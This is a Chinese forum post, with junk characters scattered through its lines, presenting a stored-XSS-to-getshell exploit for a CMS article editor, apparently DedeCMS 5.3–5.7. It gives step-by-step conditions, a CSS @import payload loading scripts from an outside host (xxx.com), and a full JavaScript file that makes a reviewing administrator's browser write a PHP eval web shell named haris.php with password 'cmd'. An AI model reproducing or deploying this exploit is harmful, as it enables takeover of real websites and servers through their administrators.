<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell" y8 w0 L4 Q8 c/ `- C
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
o( L! p# Q3 y3 O* U% _* P& d% L8 U* I目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
& S% _3 {6 Q8 ]8 e下面说说利用方法。3 Z) W( ?, [% p0 ^, h1 S5 ^& W' t
条件有2个:
6 l& \, `1 F, T0 J- O1.开启注册
( F" r1 }, h# z& J6 S2.开启投稿" j: B9 j! u# o
注册会员----发表文章
# O) F, ]% ~; t9 W, ~& H内容填写:3 U+ a( k( [2 q8 P; Q( M7 h
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6 o y$ P3 L2 g# E0 K5 [# q! M7 p h<style>@im\port'\http://xxx.com/xss.css';</style>( W# _" U" e( u" P* C
新建XSS.Css7 }' t3 V/ ^8 C- f3 o
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4 ?. \2 f* v6 w7 g% [* I- \2 h) ^1 a( M.body{
6 R: Q! w2 m" N+ h! h# ]background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
" A$ ^3 h, D/ T2 m) N& c8 M; O新建xss.js 内容为' `' n! J" |( P: l6 U
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+ B) y& O3 |8 f) k' P9 h* z: T1.var request = false;4 N: L2 m& G3 M Z6 j G2 u; F
2.if(window.XMLHttpRequest) {
# i2 _+ A& L5 W. `) s0 y3.request = new XMLHttpRequest();
; O1 t9 ]+ M. M& J$ ^( M- M/ I4.if(request.overrideMimeType) {
3 i f; }; g6 u! I5.request.overrideMimeType('text/xml');
8 a0 C& `8 a# A) ^6.}
7 o- M7 |) @: @6 F' m" p, P7.} else if(window.ActiveXObject) {. F# O; ~0 d* d6 e8 p7 d; t
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
/ O m7 N: |0 C2 L! E9.for(var i=0; i<versions.length; i++) {
6 @5 X I4 w. ?! o1 @: h4 s5 ]/ {10.try {+ j/ b( E6 [3 Z! Z1 p/ m
11.request = new ActiveXObject(versions);
" B2 ]( }9 V$ q; q7 ^12.} catch(e) {}& e' m1 w* f* [; @( i
13.}
( q- [- ^4 z6 o4 O8 |% h! m9 G# h0 R14.}
2 f) ~" D7 `: \7 _15.xmlhttp=request;! z3 w- \/ _1 V9 S5 E. f9 I; d A
16.function getFolder( url ){
6 N# w7 L- G0 H4 {17. obj = url.split('/')
0 S# f/ s/ }6 C6 m* l, d1 e/ F7 [18. return obj[obj.length-2]
* A+ o9 `: w- o9 h19.}, w2 I, I- B! x
20.oUrl = top.location.href;
# \- m, J' O- Z* {+ D21.u = getFolder(oUrl);
& Y4 v: z1 s2 V# H; ~/ J2 ~- ]22.add_admin();$ b- x( C1 |( K6 y {
23.function add_admin(){
! K8 o" I# j w. x5 i( p24.var url= "/"+u+"/sys_sql_query.php";( K8 _+ j7 M) {- y4 h/ g7 R
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";3 ?# m$ C8 N* N ^: J5 M
26.xmlhttp.open("POST", url, true);4 C$ w. d8 n( _8 x( ]; a$ s
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+ ~7 o7 d: e, b% N: r' K28.xmlhttp.setRequestHeader("Content-length", params.length);+ d1 `6 Z" ?# X# j: K
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");5 F% [: A4 x/ e# I$ x
30.xmlhttp.send(params);5 c# D& T7 _2 e; D) e" `
31.}
U# I3 `9 H7 E4 T3 g当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |